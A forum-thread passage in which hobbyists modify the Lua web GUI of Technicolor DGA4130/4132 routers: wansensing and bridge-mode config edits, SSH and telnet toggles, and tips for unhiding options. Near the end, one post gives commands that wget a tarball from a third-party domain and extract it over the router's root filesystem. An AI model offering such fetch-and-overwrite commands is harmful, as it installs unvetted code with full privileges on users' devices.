       -- Log  that someone has changed SSH access
       ngx.log(ngx.ALERT, "Local Setting of SSH on wan to "..ssh_wan)
    end

    syslog_present = vars["syslog_present"]
    syslog_filter_sw = vars["syslog_filter_sw"]
    proxy.set("uci.system.system.@system[0].log_ip","")
    proxy.set("uci.system.system.@system[0].log_filter_ip","")
    proxy.apply()
  end
end



---[[
-- Syslog filters
local filter_columns = {
  {
    header = T"Filter",
    name = "filter_string",
    param = "value",
    type = "text",
  }
}

local function validateFilter(value, object, key)
    return true
end

local filter_valid = {
  filter_string = validateFilter
}

local filter_options = {
  tableid = "syslog_filters",
  basepath = "uci.system.system.@system[0].log_filter.@.",
  createMsg = T"Add new Syslog Filter",
  minEntries = 1,
  maxEntries = 10,
}


local filter_data, filter_helpmsg = post_helper.handleTableQuery(filter_columns, filter_options, nil, nil, filter_valid)

--]]



local syslog_Params = {
  syslog_filter_ip = "uci.system.system.@system[0].log_filter_ip",
  syslog_port = "uci.system.system.@system[0].log_port",
  syslog_ip = "uci.system.system.@system[0].log_ip",
}

local gVIPIL = post_helper.getValidationIfPropInList
local vSII = post_helper.validateStringIsIP
local vB = post_helper.validateBoolean
local vSIPR = post_helper.validateStringIsPortRange
local gOV = post_helper.getOptionalValidation
local vNES = post_helper.validateNonEmptyString

local function valid_comma_string(value)
  local rc, msg = vNES(value)
  if not rc then
    return rc, msg
  end
  if string.match(value, "[^%w,]") then
    return nil, T"Only alphanumeric characters, commas (,), full spots(.), underscores(_) and hiphens(-) are allowed, no spaces"
  end
    return true
end

local syslog_valid = {
  syslog_present = vB,
  syslog_filter_sw = vB,
  syslog_ip = gVIPIL(gVIPIL(gOV(vSII), "syslog_filter_sw", {"0"}), "syslog_present", {"1"}),
  syslog_filter_ip = gVIPIL(gVIPIL(gOV(vSII), "syslog_filter_sw", {"1"}), "syslog_present", {"1"}),
  syslog_port = gVIPIL(vSIPR, "syslog_present", {"1"}),
}
local syslog_Params, helpmsg = post_helper.handleQuery(syslog_Params, syslog_valid)

local telnet_available = file_check("/bin/busybox_telnet")

local telnet_Params = {
telnet_enable = "uci.telnet.general.enable",
}

local telnet_valid = {
telnet_enable = vB,
}

local telnet_content, helpmsg = post_helper.handleQuery(telnet_Params, telnet_valid)

local function resetreboot(path)
  proxy.set(path, "1")
  ngx.header.content_type = "application/json"
  ngx.print('{ "success":"true" }')
  ngx.timer.at(0, function()
    proxy.apply()
  end)
  ngx.exit(ngx.HTTP_OK)
end

-- Handle fwupgrade/configimport/configexport specific GET/POSTs.
if ngx.req.get_method() == "POST" then
  local action = ngx.req.get_post_args().action
  if action == "system_bootp" then
    return resetreboot("sys.bootp.enable")
  end
end
local title = T"System Extras"

  ngx.print('\
');  ngx.print(ui_helper.createHeader(title, false, false))   ngx.print('\
<div class="modal-body update">\
');
ngx.print(ui_helper.createMessages(message_helper.popMessages()))
  ngx.print('\
<form class="form-horizontal" method="post" action="modals/system-modal.lp">\
<fieldset>\
  <legend>');  ngx.print( T"Global" ); ngx.print('</legend>\
    '); 
      local bootp_alert = {
        alert = {
          class = "alert-info hide",
          id = "bootp-msg"
        }
      }
      local bootp = {
        group = {
          class = "wait-for-reboot"
        },
        button = {
          id = "btn-system-bootp",
          class = "custom-handler"
        }
      }
      local html = {}
      html[#html + 1] = ui_helper.createButton(T"LAN Upgrade", T"BOOTP", "icon-exchange", bootp)
      html[#html + 1] = ui_helper.createAlertBlock(T"Entering BOOTP, please wait...", bootp_alert)
      ngx.print(html)
      ngx.print('\
</fieldset>\
\
<fieldset>\
  <legend>');  ngx.print( T"SSH Access" ); ngx.print('</legend>\
    '); 
      local html = {}
      html[#html + 1] = ui_helper.createSwitch(T"LAN", "ssh_lan", ssh_lan)
      html[#html + 1] = ui_helper.createSwitch(T"WAN", "ssh_wan", ssh_wan)
      ngx.print(html)
      ngx.print('\
</fieldset>\
');
if telnet_available then
ngx.print('\
<fieldset>\
<legend>');  ngx.print( T"Telnet Access" ); ngx.print('</legend>\
'); 
local html = {}
html[#html + 1] = ui_helper.createSwitch(T"LAN", "telnet_enable", telnet_content["telnet_enable"] , basic)
ngx.print(html)
ngx.print('\
</fieldset>');
end
ngx.print('\
\
<fieldset>\
  <legend>');  ngx.print( T"System Log" ); ngx.print('</legend>\
    '); 
      local html = {}
      local switch_class_enable = {
        input = {
          class = "monitor-changes",
        }
      }
      html[#html + 1] = ui_helper.createSwitch(T"Enable Syslog", "syslog_present", syslog_present, switch_class_enable)
      local switch_class_filter = {
        group = {
          class ="monitor-syslog_present monitor-1",
        },
        input = {
          class = "monitor-changes",
        }
      }
      local Sysloginput = {
        group = {
          class ="monitor-syslog_present monitor-1",
        },
        input = {
          maxlength= "15",
          class = "span2",
        },
      }
      local Sysloginputip_fltr = {
        group = {
          class ="monitor-syslog_present monitor-1 monitor-syslog_filter_sw monitor-1",
        },
        input = {
          maxlength= "15",
          class = "span2",
        },
      }
      local Sysloginputip_fltr_fltr = {
        group = {
          class ="monitor-syslog_present monitor-1 monitor-syslog_filter_sw monitor-1",
        },
        input = {
          maxlength= "50",
          class = "span5",
         },
      }
      html[#html+1] = [[<div class="monitor-syslog_filter_sw monitor-0 monitor-hide-syslog_filter_sw">]]
      html[#html+1] = ui_helper.createInputText(T"IP", "syslog_ip", syslog_Params["syslog_ip"], Sysloginput, helpmsg["syslog_ip"])
      html[#html+1] = [[</div>]]
      html[#html+1] = ui_helper.createInputText(T"Filter IP", "syslog_filter_ip", syslog_Params["syslog_filter_ip"], Sysloginputip_fltr, helpmsg["syslog_filter_ip"])
      html[#html+1] = ui_helper.createSwitch(T"Enable Filter", "syslog_filter_sw", syslog_filter_sw, switch_class_filter)
      local filter_warning = {
        alert = {
          class = "alert-info monitor-syslog_present monitor-1 monitor-syslog_filter_sw monitor-1"
        },
      }
      html[#html + 1] = ui_helper.createAlertBlock(T"Every filter is a regular expression string; Start with '!' to invert selection", filter_warning)
      html[#html + 1] = format('<div class="control-group"><label class="control-label monitor-syslog_present monitor-1 monitor-syslog_filter_sw monitor-1">%s</label><div class="controls">', T"Syslog filters")
      html[#html+1] = ui_helper.createTable(filter_columns, filter_data, filter_options, Sysloginputip_fltr_fltr, filter_helpmsg)
      html[#html + 1] = '</div></div>'
      html[#html+1] = ui_helper.createInputText(T"Port", "syslog_port", syslog_Params["syslog_port"], Sysloginput, helpmsg["syslog_port"])
      ngx.print(html)
      ngx.print('\
</fieldset></form>\
</div>\
<script>\
(function() {\
  var refreshTimeOut = 5000;\
  var refreshDelay = 3000;\
  var target = $(".modal form").attr("action");\
\
  function wait_for_webserver_running() {\
    $.ajax({ url: "/", timeout: refreshTimeOut, data: { check: "1"} })\
    .done(function(data) {\
      document.open("text/html");\
      document.write(data);\
      document.close();\
    })\
    .fail(function() {\
      window.setTimeout(wait_for_webserver_running, refreshDelay);\
    });\
  }\
\
  function wait_for_webserver_down() {\
    $.ajax({ url: target, timeout: refreshTimeOut, data: { check: "1"}  })\
    .done(function() {\
      window.setTimeout(wait_for_webserver_down, refreshDelay);\
    })\
    .fail(function() {\
      window.setTimeout(wait_for_webserver_running, refreshDelay);\
    });\
  }\
\
  function resetreboot(msg, msg_dst, action) {\
    msg_dst.after(msg);\
    msg.removeClass("hide");\
    msg[0].scrollIntoView();\
    $.post(\
      target,\
      { action: action, CSRFtoken: $("meta[name=CSRFtoken]").attr("content") },\
      wait_for_webserver_down,\
      "json"\
    );\
    return false;\
  }\
\
  $("#btn-system-bootp").click(function() {\
     if (confirm("');  ngx.print(T"This will put your gateway into LAN Upgrade"); ngx.print('")){\
       tch.showProgress(\'');  ngx.print(T"Rebooting..."); ngx.print('\');\
       return resetreboot($("#bootp-msg"), $(this), "system_bootp");\
     }\
  });\
\
  $("[name=syslog_present]").change(function(){\
    $("[name=syslog_ip]").val("");\
    $("[name=syslog_filter_ip]").val("");\
  });\
\
  $("#btn-serial").click(function(){\
    $("[name=syslog_prefix]").val("');  ngx.print(serial_num); ngx.print('");\
    $("#modal-no-change").slideUp();\
    $("#modal-changes").slideDown();\
  });\
\
  $("[name=syslog_filter_sw]").change(function(){\
     if ($( this ).val() == "0"){\
       $("[name=syslog_ip]").val($("[name=syslog_filter_ip]").val());\
       $("[name=syslog_filter_ip]").val("");\
       $("[name=syslog_filter]").val("daemon");\
     }\
     else{\
       $("[name=syslog_filter_ip]").val($("[name=syslog_ip]").val());\
       $("[name=syslog_ip]").val("");\
       $("[name=syslog_filter]").val("daemon");\
     }\
  });\
}());\
</script>\
');  ngx.print(ui_helper.createFooter())   ngx.print('\
');

(https://i.imgur.com/nAf6pGs.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 11, 2018, 09:54:04 PM

oh my god... i'm really stupid  :-[

well... now will come the nice  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 07:50:11 AM
in the DGA4132 unlocked, if i remember well there was a feature allowing you to use the Wan port as a Lan port, in the Broadband or internet access tile, i don't remember which one. Since the gui is unlocked this feature disapeared  :o
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 08:21:35 AM
You mean this? (1.0.5 - TIM)

(https://i.imgur.com/85i2sMc.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 09:24:22 AM
Of course I tested even more. Now it is finally possible to deactivate wansensing in the config completely without returning to DHCP mode.
The code is from AGTHP_1.0.2.

internetmode_helper.lua:
Code: [Select]
return {
    {
        name = "dhcp",
        default = true,
        description = "DHCP routed mode",
        view = "internet-dhcp-routed.lp",
        card = "003_internet_dhcp_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^dhcp$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "dhcp"},
        },
    },
    {
        name = "pppoe",
        default = false,
        description = "PPPoE routed mode",
        view = "internet-pppoe-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoe$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoe"},
        },
    },
    {
        name = "pppoa",
        default = false,
        description = "PPPoA routed mode",
        view = "internet-pppoa-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoa$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoa"},
        },
    },
    {
        name = "static",
        default = false,
        description = "Fixed IP mode",
        view = "internet-static-routed.lp",
        card = "003_internet_static_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^static$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "static"},
        },
    },
   {
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
 
        },
    },
}


The whole thing should still work automatically, no matter which connection mode you choose. And that's how it's supposed to be, I guess. As soon as you select the bridge mode, this "function" wansensing should disable.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 09:54:50 AM
in the DGA4132 unlocked, if i remember well there was a feature allowing you to use the Wan port as a Lan port, in the Broadband or internet access tile, i don't remember which one. Since the gui is unlocked this feature disapeared  :o
yes there is yet


I should only make a tod separated for 2,4 and 5 and resolving slow transfer for 2,4 and i will have an excellent modem for me


@shdf I saw you have posted in other forum a procedure to install a GUI with more feature... i have access control card and not qos card.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 10:34:40 AM
@eclp
so you just removed these 2 lines in red ?
Quote
   {
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},
         { "uci.wansensing.global.enable", "^1$"},
        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
            { "uci.wansensing.global.enable", "0"},
        },
    },


About the feature allowing you to use the Wan port as a Lan port. i noticed that in the firmware 1.1.x they hidden 2 features in broadband-modal.lp probably because everything is done automaticaly ?
if you remove the word "hide" from the css class="advanced hide", and comment the if/end above/below you'll see :
(https://i.imgur.com/WGa7kR3.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 10:40:51 AM
So, folks, here's the correct working code.
The wansensing in the config doesn't need to be adjusted manually any more, the script does it as it should be. All connection modes can now be selected and wansensing is automatically deactivated by the script only in bridge mode. Finally.

Code: [Select]
return {
    {
        name = "dhcp",
        default = true,
        description = "DHCP routed mode",
        view = "internet-dhcp-routed.lp",
        card = "003_internet_dhcp_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^dhcp$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "dhcp"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "pppoe",
        default = false,
        description = "PPPoE routed mode",
        view = "internet-pppoe-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoe$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoe"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "pppoa",
        default = false,
        description = "PPPoA routed mode",
        view = "internet-pppoa-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoa$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoa"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "static",
        default = false,
        description = "Fixed IP mode",
        view = "internet-static-routed.lp",
        card = "003_internet_static_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^static$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "static"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
                        { "uci.wansensing.global.enable", "^0$"}, 
        },
    },
}

 ;D

EDIT
If you now change the Connection mode, the following happens:

ADDRCONF(NETDEV_UP): wanptm0: link is not ready
netdev path : wanptm0 -> ptm0
ADDRCONF(NETDEV_UP): ptm0: link is not ready

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 12:00:27 PM

About the feature allowing you to use the Wan port as a Lan port. i noticed that in the firmware 1.1.x they hidden 2 features in broadband-modal.lp probably because everything is done automaticaly ?
if you remove the word "hide" from the css class="advanced hide", and comment the if/end above/below you'll see :
(https://i.imgur.com/WGa7kR3.png)

I confirm, when i use the WAN port on my dga4132 it is considered as a Lan port, even when there is no DSL connection. i guess this is why they have hidden these features as wansensing is doing the job in the background.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 01:11:43 PM
where is the line "class="advanced hide"?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 01:15:28 PM
in broadband-modal.lp
line 67 and 102
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 01:40:13 PM
ah i had already erased them but not appear "Broadband type"
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 01:41:49 PM
So, folks, here's the correct working code.
The wansensing in the config doesn't need to be adjusted manually any more, the script does it as it should be. All connection modes can now be selected and wansensing is automatically deactivated by the script only in bridge mode. Finally.

Code: [Select]
return {
    {
        name = "dhcp",
        default = true,
        description = "DHCP routed mode",
        view = "internet-dhcp-routed.lp",
        card = "003_internet_dhcp_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^dhcp$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "dhcp"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "pppoe",
        default = false,
        description = "PPPoE routed mode",
        view = "internet-pppoe-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoe$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoe"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "pppoa",
        default = false,
        description = "PPPoA routed mode",
        view = "internet-pppoa-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoa$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoa"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
    {
        name = "static",
        default = false,
        description = "Fixed IP mode",
        view = "internet-static-routed.lp",
        card = "003_internet_static_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^static$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "static"},
{ "uci.wansensing.global.enable", "^1$"},
        },
    },
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
                        { "uci.wansensing.global.enable", "^0$"}, 
        },
    },
}

 ;D

EDIT
If you now change the Connection mode, the following happens:

ADDRCONF(NETDEV_UP): wanptm0: link is not ready
netdev path : wanptm0 -> ptm0
ADDRCONF(NETDEV_UP): ptm0: link is not ready

 :)

Thanks for this eclp but I am getting this for some reason:

config wansensing 'global'
   option initmode 'L2Sense'
   option tracelevel '4'
   option enable '^0$'

I changed it to:

{ "uci.wansensing.global.enable", "0"},

Hopefully this is okay.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 01:52:04 PM
in all the operations = { part you have to write exactly the value you want to be written in the config file, so remove the ^ and $.
in the check ={ part it's a regex (^ mean the start, and $ mean the end of the string).
i would try this :
Code: [Select]
return {
    {
        name = "dhcp",
        default = true,
        description = "DHCP routed mode",
        view = "internet-dhcp-routed.lp",
        card = "003_internet_dhcp_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^dhcp$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "dhcp"},
{ "uci.wansensing.global.enable", "1"},
        },
    },
    {
        name = "pppoe",
        default = false,
        description = "PPPoE routed mode",
        view = "internet-pppoe-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoe$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoe"},
{ "uci.wansensing.global.enable", "1"},
        },
    },
    {
        name = "pppoa",
        default = false,
        description = "PPPoA routed mode",
        view = "internet-pppoa-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoa$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoa"},
{ "uci.wansensing.global.enable", "1"},
        },
    },
    {
        name = "static",
        default = false,
        description = "Fixed IP mode",
        view = "internet-static-routed.lp",
        card = "003_internet_static_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^static$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "static"},
{ "uci.wansensing.global.enable", "1"},
        },
    },
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},

        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
                        { "uci.wansensing.global.enable", "0"}, 
        },
    },
}
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 01:56:59 PM
 :) edits crossed in transit. Thank you
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 01:58:43 PM
well so is that working as expected ? i don't use the bridge mode but having working and bug free files is always interesting  ::)
i'm working on a ready to use tarball to install the TIM unlocked GUI on firmware 1.1.x, as Ansuel did, but only with things confirmed working without any bugs  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 02:05:17 PM
Yes the wansensing is correctly being set to 0 now.

A tarball would be awesome.  ;D :fingers:

Beers all round then.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 02:32:11 PM
well so is that working as expected ? i don't use the bridge mode but having working and bug free files is always interesting  ::)
i'm working on a ready to use tarball to install the TIM unlocked GUI on firmware 1.1.x, as Ansuel did, but only with things confirmed working without any bugs  :)

 :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :)
   WOW... I'm thrilled!
 :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :)

(It would be nice if we could get some results first. ;) )
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 02:33:28 PM
damn i have this e not "broadband type"

(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fi63.tinypic.com%2Fal4w1u.jpg&hash=5f01566704835b5ac2bba0fb5afa211a)



and i have problem showing "Traffic monitor" in Connected Device
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 02:48:21 PM
@Ivymike ...

Don't play around with the running system.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 02:54:18 PM
@eclp i will make a reset in bootp if i will have an error...  :)

 i ask only why don't i have the same thing that have sdhf.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 03:06:56 PM
Under setup wizard I notice that there is no bridge option.

Under internet access when you set connection type bridge we can see it now correctly changes wansensing and changes the protocol to bridge under the wan interface in /etc/config/network so the tile is displayed correctly.

However this would not fully set the bridge mode as it seems this would be done by "bridgedmode_helper.lua" but where is that called from?

Below is  the section of it which disables wifi etc and creates the actual bridge  "local ifnames = 'eth0 eth1 eth2 eth3 eth5 wanptm0'"
although from the previous posts we can see this does not work when there is no vlan so for me it should be ptm0 not wan ptm0.

Code: [Select]

function M.configBridgedMode()
    local success = false
local ifnames = 'eth0 eth1 eth2 eth3 eth5 wanptm0'

    success = proxy.set({
        ["uci.wansensing.global.enable"] = '0',
["uci.network.interface.@wan.enabled"] = '0',
["uci.network.interface.@wan.auto"] = '0',
["uci.network.interface.@wan6.enabled"] = '0',
["uci.network.interface.@wwan.enabled"] = '0',
["uci.wireless.wifi-device.@radio_2G.state"] = '0',
["uci.wireless.wifi-device.@radio_5G.state"] = '0',
["uci.mmpbx.mmpbx.@global.enabled"] = '0',
        ["uci.dhcp.dhcp.@lan.ignore"] = '1',
["uci.cwmpd.cwmpd_config.state"] = '0',
["uci.mobiled.device_defaults.enabled"] = '0',
["uci.network.interface.@lan.ifname"] = ifnames,
["uci.network.config.wan_mode"] = 'bridge',
    })
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 03:15:39 PM
Perfect, that's the way it has to be. And I didn't change any css code (it looks like this in bridge-mode).
I took the "bridgedmode_helper. ua" from Ansuel. I'm back to the 1.0.3 for testing.

(https://i.imgur.com/NdT4YSh.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 03:28:12 PM
@eclp i will make a reset in bootp if i will have an error...  :)

 i ask only why don't i have the same thing that have sdhf.
aren't you using files from Ansuels Gui ? i also noticed the DGA4132 icon in your Gateway tile is not the same as me --> http://forum.kitz.co.uk/index.php/topic,20343.msg364879.html#msg364879
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 03:31:12 PM
No modem icon is mine...

I was importing and translating file by Ansuel, but those options you have, i haven't them!


EDIT: SOLVED! I have to change 0 -> 1 in this line:  "if mapParam.wsens == "1" then"


But i was thinking: is it possibile to enlarge GUI to fill all width monitor?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 04:03:09 PM

But i was thinking: is it possibile to enlarge GUI to fill all width monitor?
in gateway.lp you can try to replace : <div class="container"> with <div class="container-fluid">
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 04:05:14 PM

EDIT: SOLVED! I have to change 0 -> 1 in this line:  "if mapParam.wsens == "1" then"
that's why i said to comment the if/end to see the features  ;D to comment a line just add this before: --
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 04:06:56 PM
sorry mate, i'm rookie
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 04:40:35 PM
I am looking for the "port-mirror-modal.lp", can someone please provide it?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Ivymike on February 12, 2018, 04:52:23 PM
How can i center the cards?

(https://s18.postimg.org/p4fim5cmh/Senza_titolo-1.jpg)

Are you looking at this?

http://www.mediafire.com/file/1h89x0bxjuhc20x/port-mirror-modal.lp
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 05:15:46 PM
I changed it to:

{ "uci.wansensing.global.enable", "0"},

Hopefully this is okay.
So is this fixed now ? i can edit my file with the correct piece of code ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 05:18:19 PM
Yes the wansensing is correctly being set to 0 now.

A tarball would be awesome.  ;D :fingers:

Beers all round then.
Yes
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 05:42:12 PM
Under setup wizard I notice that there is no bridge option.

Under internet access when you set connection type bridge we can see it now correctly changes wansensing and changes the protocol to bridge under the wan interface in /etc/config/network so the tile is displayed correctly.

However this would not fully set the bridge mode as it seems this would be done by "bridgedmode_helper.lua" but where is that called from?

Below is  the section of it which disables wifi etc and creates the actual bridge  "local ifnames = 'eth0 eth1 eth2 eth3 eth5 wanptm0'"
although from the previous posts we can see this does not work when there is no vlan so for me it should be ptm0 not wan ptm0.

Code: [Select]

function M.configBridgedMode()
    local success = false
local ifnames = 'eth0 eth1 eth2 eth3 eth5 wanptm0'

    success = proxy.set({
        ["uci.wansensing.global.enable"] = '0',
["uci.network.interface.@wan.enabled"] = '0',
["uci.network.interface.@wan.auto"] = '0',
["uci.network.interface.@wan6.enabled"] = '0',
["uci.network.interface.@wwan.enabled"] = '0',
["uci.wireless.wifi-device.@radio_2G.state"] = '0',
["uci.wireless.wifi-device.@radio_5G.state"] = '0',
["uci.mmpbx.mmpbx.@global.enabled"] = '0',
        ["uci.dhcp.dhcp.@lan.ignore"] = '1',
["uci.cwmpd.cwmpd_config.state"] = '0',
["uci.mobiled.device_defaults.enabled"] = '0',
["uci.network.interface.@lan.ifname"] = ifnames,
["uci.network.config.wan_mode"] = 'bridge',
    })
well so in your special case you have to hardcode this in the lua file...(replacing wanptm0 with ptm0)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 05:56:28 PM
So here are my tarballs, to let you quickly install the unlocked TIM GUI. just execute these commands to download and install.

For the dga4130 :
Code: [Select]
wget -P /tmp http://dga4132.tk/dga4130_unlocked.tar.gz
tar -zxvf /tmp/dga4130_unlocked.tar.gz -C /

For the dga4132 :
Code: [Select]
wget -P /tmp http://dga4132.tk/dga4132_unlocked.tar.gz
tar -zxvf /tmp/dga4132_unlocked.tar.gz -C /

once the file is unpacked just do a :
Code: [Select]
/etc/init.d/transformer restart
/etc/init.d/nginx restart

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 06:01:09 PM
Excellent thanks  ;D
shdf, you are the locomotion of converting this Frankenstein into something normal. 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 12, 2018, 06:32:30 PM
Under setup wizard I notice that there is no bridge option.
i noticed that too...if i remember well in Ansuel GUI it was present?!

Edit:
the wizard is coming from the latest Ansuel gui...so it was not present.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 06:49:29 PM
Yes I *think* so, it has been a while.

I also think it was here
(https://s13.postimg.org/bygayia07/bbmode.png) (https://postimages.org/)

And this is what invoked: bridgedmode_helper.lua  I cant see any buttons which invoke that at the moment.

or maybe there was a button below that.

btw your tarball worked great! 
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 12, 2018, 06:57:13 PM
Really great! I can only agree with Bilbo. Thank you!

Is there anything displayed under Diagnostics:"Port Mirror"? I only get "The requested file is not found! Please try again after some time".

At the moment I'm working on the modal and lua files, so you don't have to edit any more css, just exchange them and that's it. For a nicely uniform image (without wrench, you know...)  ;)

If you want me to provide you with the finished files, please let me know!

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 12, 2018, 07:10:40 PM
I cant see any reference to port mirror.

Here are some of the screen shots of ansuels gui you provided earlier in the thread.

http://forum.kitz.co.uk/index.php/topic,20343.msg355576.html#msg355576
